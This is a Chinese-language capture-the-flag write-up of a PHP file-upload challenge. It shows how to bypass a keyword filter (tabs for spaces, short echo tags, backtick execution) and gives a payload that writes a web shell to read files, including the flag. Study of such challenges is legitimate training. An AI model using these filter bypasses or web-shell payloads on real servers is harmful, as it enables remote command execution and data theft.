打开即是源码,那就直接开审吧
<?php error_reporting(0); highlight_file(__FILE__); function check($input){ if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){ // if(preg_match("/'| |_|=|php/",$input)){ die('hacker!!!'); }else{ return $input; } } function waf($input){ if(is_array($input)){ foreach($input as $key=>$output){ $input[$key] = waf($output); } }else{ $input = check($input); } } $dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/'; if(!file_exists($dir)){ mkdir($dir); } switch($_GET["action"] ?? "") { case 'pwd': echo $dir; break; case 'upload': $data = $_GET["data"] ?? ""; waf($data); file_put_contents("$dir" . "index.php", $data); } ?>
可以看到,action为pwd时,会打印当前的目录路径;action为upload时,会上传数据到目录路径下的index.php中,并且会对上传的数据进行检查
在check函数中可以看到,输入的数据不可以包含 ‘ ’,'_', 'php', 'eval', '{', '}' 没过滤反引号,欸嘿,突破口找到了
先看看当前文件路径
?action=pwd
PHP过滤的各种绕过姿势,可以参考:https://xz.aliyun.com/t/8107#toc-11
想要绕过check函数写shell,过滤了空格‘ ’可以用 \t 代替,过滤了'php'可以用短标签<?=?>代替,相当于<? echo>;
过滤了‘_’可以用<?=``?>代替,反引号在php中有执行命令的效果
利用通配符 '*' 模糊搜索目录下的文件
shell:
?action=upload&data=<?=`cat\t/*`?>
写入后直接访问路径下的index.php便会执行我们upload的php命令语句,最终会执行<?=`cat /*`?>,读取目录下包含flag的文件